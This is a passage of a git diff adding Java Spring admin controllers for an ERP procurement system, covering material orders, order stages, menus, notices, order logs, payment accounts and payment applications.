size, pressureLevel, endFace, material,
|
||||
insulationCode, specialRequest, memo,supplierNameList, supplierName,
|
||||
price,bigProductDes,smallProductDes,makeCode,makeName,materialType);
|
||||
Map<Long, Object> diffMap = new HashMap<>();
|
||||
if (showDifferent != null) {
|
||||
// List<MaterialOrderItem> oldList = materialOrderItemService.findByVersionNum(oldVersion, id);
|
||||
// for (MaterialOrderItem orderItem : oldList) {
|
||||
// diffMap.put(orderItem.getInd(), orderItem);
|
||||
// }
|
||||
for (MaterialOrderItem orderItem : list) {
|
||||
MaterialOrderItem oldVersionOrderItem = materialOrderItemService.findByUniKeyAndVersionNum(id, orderItem.getProductCode(), orderItem.getUnitAccount(), orderItem.getLineAccount(), oldVersion);
|
||||
if (oldVersionOrderItem != null) {
|
||||
// 比较
|
||||
materialOrderService.loadDiffItemUpdate(diffMap, orderItem, oldVersionOrderItem);
|
||||
} else {
|
||||
// 新增
|
||||
materialOrderService.loadDiffItemAdd(diffMap, orderItem);
|
||||
}
|
||||
}
|
||||
if (!loadFlag) {
|
||||
// 加载结束,找到新版本删除的记录加到列表后面
|
||||
materialOrderService.loadDiffItemDelete(diffMap, id, nowVersion, oldVersion, list);
|
||||
}
|
||||
}
|
||||
map.put("list", list);
|
||||
map.put("diffMap", diffMap);
|
||||
map.put("showDiff", BooleanUtils.isTrue(showDifferent));
|
||||
return RespData.success(map);
|
||||
|
||||
}
|
||||
|
||||
@RequestMapping("printView")
|
||||
public void printView(HttpServletResponse response, Long id, String productCode, String name, String areaAccount,
|
||||
String unitAccount, String siteAccount, String lineAccount, String codeType,
|
||||
String shortDescription, String longDescription, String gWeight, String totalWeight,
|
||||
String count, String unit, String bigProductType, String smallProductType,
|
||||
String diameterL, String diameterS, String wallThicknessL, String wallThicknessS,
|
||||
String size, String pressureLevel, String endFace, String material,
|
||||
String insulationCode, String specialRequest, String memo,String supplierIds, String supplierName,
|
||||
String price,String bigProductDes,String smallProductDes,String makeCode,String makeName,String materialType) {
|
||||
materialOrderService.exportView(response, id, productCode, name, areaAccount,
|
||||
unitAccount, siteAccount, lineAccount, codeType,
|
||||
shortDescription, longDescription, gWeight, totalWeight,
|
||||
count, unit, bigProductType, smallProductType,
|
||||
diameterL, diameterS, wallThicknessL, wallThicknessS,
|
||||
size, pressureLevel, endFace, material,
|
||||
insulationCode, specialRequest, memo,supplierIds, supplierName,
|
||||
price,bigProductDes,smallProductDes,makeCode,makeName,materialType);
|
||||
}
|
||||
|
||||
@RequestMapping("printDiff")
|
||||
public void printDiff(HttpServletResponse response,Long id,Integer nowVersion,Integer oldVersion) {
|
||||
materialOrderService.exportDiff2(response, id, nowVersion,oldVersion);
|
||||
}
|
||||
|
||||
@RequestMapping("/export")
|
||||
public void export(HttpServletResponse response, OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
materialOrderService.export(response, orderQuery);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取编号
|
||||
*/
|
||||
@RequestMapping("getCode")
|
||||
@ResponseBody
|
||||
public RespData getCode(String preTitle, Integer flowNum, Long stage,Long progressId) {
|
||||
MaterialOrderStage materialOrderStage = materialOrderStageService.find(stage);
|
||||
FlowSn flowSn = flowSnService.findByType(FlowSn.Type.material,progressId);
|
||||
String flowCode = "" + (flowSn.getLastValue()+1);
|
||||
while (flowNum > flowCode.length()) {
|
||||
flowCode = "0" + flowCode;
|
||||
}
|
||||
String sn = preTitle + "-" + flowCode + "-"+materialOrderStage.getCode() + "-V0";
|
||||
return RespData.success(sn);
|
||||
}
|
||||
|
||||
/**评标*/
|
||||
@RequestMapping("dialog/bidEvaluation")
|
||||
public String dialogBidEvaluation(Long[] ids,ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
String idStr = "";
|
||||
for (Long id : ids) {
|
||||
if (id != null) {
|
||||
idStr = idStr + "" + id + ";";
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("ids", idStr);
|
||||
return "materialOrder/dialog/bidEvaluation";
|
||||
}
|
||||
|
||||
@RequestMapping("bidEvaluation")
|
||||
@ResponseBody
|
||||
public RespData bidEvaluation(String ids,String type){
|
||||
String[] arr = ids.split(",");
|
||||
List<MaterialOrderItem> materialItemIds = new ArrayList<>();
|
||||
List<MaterialOrder> materialOrderList = new ArrayList<>();
|
||||
List<Long> progressIdList = new ArrayList<>();
|
||||
for (String idStr : arr){
|
||||
if (idStr != null && !idStr.equals("")){
|
||||
Long id = Long.valueOf(idStr);
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
materialOrderList.add(materialOrder);
|
||||
if (!progressIdList.contains(materialOrder.getProgressId())) {
|
||||
progressIdList.add(materialOrder.getProgressId());
|
||||
}
|
||||
materialItemIds.addAll(materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(),materialOrder.getId()));
|
||||
}
|
||||
}
|
||||
materialOrderItemPriceService.selectPrice(materialItemIds,type,progressIdList);
|
||||
// materialOrderItemPriceService.selectPrice2(materialItemIds,type,materialOrderList);
|
||||
return RespData.success("评标完成");
|
||||
}
|
||||
|
||||
@RequestMapping("addFile")
|
||||
public String addFile(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("progressId", admin.getNowProgress());
|
||||
modelMap.addAttribute("stageList",materialOrderStageService.findListByAttribute("progressId",admin.getNowProgress()));
|
||||
return "materialOrder/addFile";
|
||||
}
|
||||
|
||||
@RequestMapping("addDeviceFile")
|
||||
public String addDeviceFile(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("stageList",materialOrderStageService.findListByAttribute("progressId",admin.getNowProgress()));
|
||||
return "materialOrder/addDeviceFile";
|
||||
}
|
||||
|
||||
@RequestMapping("sendMessage")
|
||||
@ResponseBody
|
||||
public RespData sendMessage(Long id,Long adminId,String content) {
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
List<ProductType> productTypeList = new ArrayList<>();
|
||||
Map<Long,ProductType> typeMap = new HashMap<>();
|
||||
for (ProductType productType : productTypeService.findAll()){
|
||||
if (productType.getName() != null){
|
||||
typeMap.put(productType.getId(),productType);
|
||||
}
|
||||
}
|
||||
List<MaterialOrderItem> itemList =materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(),materialOrder.getId());
|
||||
for (MaterialOrderItem materialOrderItem :itemList ){
|
||||
ProductType productType = typeMap.get(materialOrderItem.getSmallTypeId());
|
||||
if (productType == null){
|
||||
productType = typeMap.get(materialOrderItem.getBigProductTypeId());
|
||||
}
|
||||
if (productType != null && !productTypeList.contains(productType)){
|
||||
productTypeList.add(productType);
|
||||
}
|
||||
}
|
||||
materialOrderService.sendMessage(productTypeList,adminId,materialOrder,content);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("priceList")
|
||||
public String priceList(ModelMap modelMap,Pageable pageable,Long supplierId,String bigType,String smallType,String orderSn){
|
||||
Admin admin = adminService.getCurrent();
|
||||
Long progressId = admin.getNowProgress();
|
||||
for (Supplier supplier : admin.getSupplierList()){
|
||||
if (progressId == null){
|
||||
if (supplier.getProgressId() == null){
|
||||
supplierId = supplier.getId();
|
||||
}
|
||||
}else {
|
||||
if (progressId.equals(supplier.getProgressId())){
|
||||
supplierId = supplier.getId();
|
||||
}
|
||||
}
|
||||
}
|
||||
// if (admin.getSupplier() != null){
|
||||
// supplierId = admin.getSupplier().getId();
|
||||
// }
|
||||
Page<MaterialOrderItemPrice> page = materialOrderItemPriceService.findPageView(pageable,supplierId,bigType,smallType,orderSn,progressId);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "materialOrder/priceList";
|
||||
}
|
||||
/** 导出评标不合理价格 */
|
||||
@RequestMapping("/exportUnreasonableBidPrice")
|
||||
public void exportUnreasonableBidPrice(HttpServletResponse response, Long... ids)throws Exception {
|
||||
materialOrderService.exportUnreasonableBidPrice2(response, ids);
|
||||
}
|
||||
|
||||
/**批量删除请购单*/
|
||||
@RequestMapping("deleteApplyOrder")
|
||||
@ResponseBody
|
||||
public Message deleteApplyOrder(Long ids){
|
||||
purchaseApplyOrderService.deleteByMaterial(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
/**编辑邮件内容*/
|
||||
@RequestMapping("dialog/editMessage")
|
||||
public String dialogEditMessage(Long id,ModelMap modelMap){
|
||||
modelMap.addAttribute("id",id);
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId",admin.getId());
|
||||
return "materialOrder/dialog/editMessage";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.MaterialOrderStage;
|
||||
import com.vverp.entity.Progress;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.MaterialOrderStageService;
|
||||
import com.vverp.service.ProgressService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
@RequestMapping("admin/materialOrderStage")
|
||||
@Controller("adminMaterialOrderStage")
|
||||
public class MaterialOrderStageController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private MaterialOrderStageService materialOrderStageService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Admin admin = adminService.getCurrent();
|
||||
Page<MaterialOrderStage> page = materialOrderStageService.findPageView(pageable,admin.getNowProgress());
|
||||
modelMap.addAttribute("page",page);
|
||||
return "materialOrderStage/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(ModelMap modelMap){
|
||||
MaterialOrderStage sourceStage = materialOrderStageService.findByLastStage(adminService.getCurrent().getNowProgress());
|
||||
// modelMap.addAttribute("progressList",progressService.findAll());
|
||||
modelMap.addAttribute("stage",sourceStage == null?1:sourceStage.getStageNum()+1);
|
||||
modelMap.addAttribute("progressId",adminService.getCurrent().getNowProgress());
|
||||
return "materialOrderStage/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap,Long id){
|
||||
MaterialOrderStage materialOrderStage = materialOrderStageService.find(id);
|
||||
// modelMap.addAttribute("progressList",progressService.findAll());
|
||||
modelMap.addAttribute("materialOrderStage",materialOrderStage);
|
||||
return "materialOrderStage/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public Message save(MaterialOrderStage materialOrderStage){
|
||||
// if (materialOrderStage.getProgressId() == null){
|
||||
// return Message.error("当前项目不能为公司");
|
||||
// }
|
||||
if (materialOrderStage.getStageNum() == null){
|
||||
return Message.error("阶段等级不能为空");
|
||||
}
|
||||
if (materialOrderStage.getName() == null){
|
||||
return Message.error("名称不能为空");
|
||||
}
|
||||
if (materialOrderStage.getCode() == null){
|
||||
return Message.error("代码不能为空");
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
MaterialOrderStage sourceStage = materialOrderStageService.findByStageNum(materialOrderStage.getStageNum(),admin.getNowProgress());
|
||||
if (sourceStage != null){
|
||||
return Message.error("已存在阶段等级"+materialOrderStage.getStageNum());
|
||||
}
|
||||
|
||||
Integer preStageNum = materialOrderStage.getStageNum()-1;
|
||||
if (preStageNum >0) {
|
||||
MaterialOrderStage preStage = materialOrderStageService.findByStageNum(preStageNum,admin.getNowProgress());
|
||||
if (preStage == null){
|
||||
return Message.error(preStageNum+"阶段不存在");
|
||||
}
|
||||
}
|
||||
materialOrderStageService.save(materialOrderStage);
|
||||
return Message.success("保存成功");
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public Message update(MaterialOrderStage materialOrderStage){
|
||||
// if (materialOrderStage.getProgressId() == null){
|
||||
// return Message.error("当前项目不能为公司");
|
||||
// }
|
||||
if (materialOrderStage.getName() == null){
|
||||
return Message.error("名称不能为空");
|
||||
}
|
||||
if (materialOrderStage.getCode() == null){
|
||||
return Message.error("代码不能为空");
|
||||
}
|
||||
if (materialOrderStage.getStageNum() == null){
|
||||
return Message.error("阶段等级不能为空");
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
MaterialOrderStage sourceStage = materialOrderStageService.findByStageNum(materialOrderStage.getStageNum(),admin.getNowProgress());
|
||||
if (sourceStage != null && !sourceStage.getId().equals(materialOrderStage.getId())){
|
||||
return Message.error("已存在阶段等级"+materialOrderStage.getStageNum());
|
||||
}
|
||||
Integer preStageNum = materialOrderStage.getStageNum()-1;
|
||||
if (preStageNum >0) {
|
||||
MaterialOrderStage preStage = materialOrderStageService.findByStageNum(preStageNum,admin.getNowProgress());
|
||||
if (preStage == null){
|
||||
return Message.error(preStageNum+"阶段不存在");
|
||||
}
|
||||
}
|
||||
materialOrderStageService.update(materialOrderStage,"progressId");
|
||||
return Message.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
materialOrderStageService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
}
|
||||
108
src/main/java/com/vverp/controller/admin/MenuController.java
Normal file
108
src/main/java/com/vverp/controller/admin/MenuController.java
Normal file
@@ -0,0 +1,108 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.vverp.entity.Menu;
|
||||
import com.vverp.moli.util.Order;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.MenuService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@Controller
|
||||
@RequestMapping("/admin/menu")
|
||||
public class MenuController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private MenuService menuService;
|
||||
|
||||
@RequestMapping("/index")
|
||||
public String index() {
|
||||
return "/t-menu/index";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, String level, String parentId) {
|
||||
modelMap.put("level", level);
|
||||
modelMap.put("parentId", parentId);
|
||||
return "/t-menu/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, Long id) {
|
||||
modelMap.put("menu", menuService.find(id));
|
||||
return "/t-menu/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(Menu menu) {
|
||||
if (menu.getLevel() == null) {
|
||||
return RespData.error("类型不能为空");
|
||||
}
|
||||
if(menu.getSortFactor() == null) {
|
||||
|
||||
menu.setSortFactor(menuService.getMaxSortFactor(menu.getLevel(), menu.getParentId()) + 1);
|
||||
}
|
||||
menuService.save(menu);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(Menu menu) {
|
||||
menuService.updateMenu(menu);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/listAll")
|
||||
@ResponseBody
|
||||
public RespData listAll() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("list", menuService.findList(null, null, Collections.singletonList(Order.asc("sortFactor"))));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/changeIndex")
|
||||
@ResponseBody
|
||||
public RespData changeIndex(String jsonStr) {
|
||||
JSONArray jsonArray = JSONArray.parseArray(jsonStr);
|
||||
for (Object item : jsonArray) {
|
||||
JSONObject jsonObject = (JSONObject) item;
|
||||
Long id = jsonObject.getLong("id");
|
||||
Integer index = jsonObject.getInteger("index");
|
||||
Menu menu = menuService.find(id);
|
||||
menu.setSortFactor(index);
|
||||
menuService.update(menu);
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public RespData delete(Long id) {
|
||||
Menu menu = menuService.find(id);
|
||||
if (menu.getLevel().equals(1)) {
|
||||
List<Menu> list = menuService.findListByLevel(2, menu.getId());
|
||||
list.add(menu);
|
||||
for (Menu item : list) {
|
||||
menuService.delete(item);
|
||||
}
|
||||
} else {
|
||||
menuService.delete(menu);
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
}
|
||||
}
|
||||
|
||||
128
src/main/java/com/vverp/controller/admin/NoticeController.java
Normal file
128
src/main/java/com/vverp/controller/admin/NoticeController.java
Normal file
@@ -0,0 +1,128 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.Notice;
|
||||
import com.vverp.entity.NoticeEntity;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.NoticeEntityService;
|
||||
import com.vverp.service.NoticeService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@Controller
|
||||
@RequestMapping("/admin/notice")
|
||||
public class NoticeController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private NoticeService noticeService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private NoticeEntityService noticeEntityService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable) {
|
||||
Page<Notice> page = noticeService.findPage(pageable);
|
||||
modelMap.addAttribute("page", page);
|
||||
return "/notice/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/listForView")
|
||||
public String listForView(ModelMap modelMap, Pageable pageable) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Page<NoticeEntity> page = noticeEntityService.findPage(pageable,admin);
|
||||
modelMap.addAttribute("page", page);
|
||||
return "/notice/listForView";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap) {
|
||||
modelMap.addAttribute("time", System.currentTimeMillis());
|
||||
return "/notice/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public Message save(Notice notice) {
|
||||
try {
|
||||
noticeService.saveNotice(notice);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("notice", noticeService.find(id));
|
||||
modelMap.addAttribute("time", System.currentTimeMillis());
|
||||
return "/notice/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public Message update(Notice notice) {
|
||||
try {
|
||||
noticeService.updateNotice(notice);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete", method = RequestMethod.POST)
|
||||
public @ResponseBody
|
||||
Message delete(Long[] ids) {
|
||||
noticeService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/dataList", method = RequestMethod.GET)
|
||||
@ResponseBody
|
||||
public RespData list(Pageable pageable) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Page<NoticeEntity> page = noticeEntityService.findPage(pageable, admin);
|
||||
// Page<Notice> page = noticeService.findPage(pageable);
|
||||
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (NoticeEntity entity : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", entity.getId());
|
||||
map.put("title", entity.getTitle());
|
||||
map.put("type", Notice.Type.system);
|
||||
// map.put("read", entity.getRead());
|
||||
map.put("date", DateUtil.format(entity.getCreateDate(), "yyyy-MM-dd"));
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/data", method = RequestMethod.GET)
|
||||
@ResponseBody
|
||||
public RespData data(Long id) {
|
||||
return RespData.success(noticeEntityService.find(id));
|
||||
}
|
||||
|
||||
@RequestMapping("getData")
|
||||
@ResponseBody
|
||||
public RespData getData(Long id){
|
||||
return RespData.success(noticeEntityService.find(id).getContent());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.service.OrderLogService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/4/13 9:12 上午
|
||||
*/
|
||||
@Controller("adminOrderLogController")
|
||||
@RequestMapping("/admin/orderLog")
|
||||
public class OrderLogController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private OrderLogService orderLogService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(String sn, ModelMap modelMap) {
|
||||
modelMap.addAttribute("sn", sn);
|
||||
modelMap.addAttribute("list", orderLogService.findListBySn(sn));
|
||||
return "/common/dialog/orderLog";
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.BaseEntity;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.util.MapUtils;
|
||||
import org.bouncycastle.math.raw.Mod;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
import com.vverp.entity.PaymentAccount;
|
||||
import com.vverp.service.PaymentAccountService;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import com.vverp.moli.util.Message;
|
||||
|
||||
import java.math.BigDecimal;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@Controller("adminPaymentAccountController")
|
||||
@RequestMapping("/admin/paymentAccount")
|
||||
public class PaymentAccountController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PaymentAccountService paymentAccountService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(Pageable pageable, Date createDateStart, Date createDateEnd, String name, String account, String bankName, ModelMap modelMap) {
|
||||
Page<PaymentAccount> page = paymentAccountService.findPageView(pageable, createDateStart, createDateEnd, name, account, bankName);
|
||||
modelMap.addAttribute("page", page);
|
||||
modelMap.addAttribute("createDateStart", createDateStart);
|
||||
modelMap.addAttribute("createDateEnd", createDateEnd);
|
||||
modelMap.addAttribute("name", name);
|
||||
modelMap.addAttribute("account", account);
|
||||
modelMap.addAttribute("bankName", bankName);
|
||||
// modelMap.addAttribute("balance", balance);
|
||||
return "/paymentAccount/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add() {
|
||||
return "/paymentAccount/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public Message save(PaymentAccount paymentAccount) {
|
||||
if (!isValid(paymentAccount, BaseEntity.Save.class)) {
|
||||
return SUCCESS;
|
||||
}
|
||||
try {
|
||||
paymentAccountService.save2(paymentAccount);
|
||||
return SUCCESS;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/edit")
|
||||
public String edit(Long id, ModelMap modelMap) {
|
||||
PaymentAccount paymentAccount = paymentAccountService.find(id);
|
||||
modelMap.addAttribute("paymentAccount", paymentAccount);
|
||||
return "/paymentAccount/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public Message update(PaymentAccount paymentAccount) {
|
||||
if (!isValid(paymentAccount, BaseEntity.Update.class)) {
|
||||
return ERROR;
|
||||
}
|
||||
try {
|
||||
paymentAccountService.update2(paymentAccount);
|
||||
return SUCCESS;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public Message delete(Long ids) {
|
||||
paymentAccountService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/updateBalance")
|
||||
@ResponseBody
|
||||
public RespData updateBalance(Long id, BigDecimal balance) {
|
||||
PaymentAccount paymentAccount = paymentAccountService.find(id);
|
||||
paymentAccount.setBalance(balance);
|
||||
paymentAccountService.update(paymentAccount);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/balance")
|
||||
public String dialogBalance(Long id, ModelMap modelMap) {
|
||||
PaymentAccount paymentAccount = paymentAccountService.find(id);
|
||||
modelMap.addAttribute("paymentAccount", paymentAccount);
|
||||
return "/paymentAccount/dialog/balance";
|
||||
}
|
||||
|
||||
@RequestMapping("/listAll")
|
||||
@ResponseBody
|
||||
public RespData listAll() {
|
||||
List<PaymentAccount> paymentAccountList = paymentAccountService.findAll();
|
||||
List<Map<String, Object>> list = MapUtils.beansToMapList(paymentAccountList, "name", "account", "bankName", "balance");
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,328 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.dto.PaymentApplyQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.OrderStatus;
|
||||
import com.vverp.enums.Reservoir;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.Arrays;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/6/14 5:13 下午
|
||||
*/
|
||||
@Controller("adminPaymentApplyController")
|
||||
@RequestMapping("/admin/paymentApply")
|
||||
public class PaymentApplyController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PaymentApplyService paymentApplyService;
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@RequestMapping("/create")
|
||||
@ResponseBody
|
||||
public RespData create(PaymentApply paymentApply) {
|
||||
return respDataWithHandle(() -> paymentApplyService.create(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/createUpdate")
|
||||
@ResponseBody
|
||||
public RespData createUpdate(PaymentApply paymentApply) {
|
||||
return respDataWithHandle(() -> paymentApplyService.createUpdate(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/selfCreate")
|
||||
@ResponseBody
|
||||
public RespData selfCreate(PaymentApply paymentApply) {
|
||||
return respDataWithHandle(() -> paymentApplyService.selfCreate(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/selfCreateUpdate")
|
||||
@ResponseBody
|
||||
public RespData selfCreateUpdate(PaymentApply paymentApply) {
|
||||
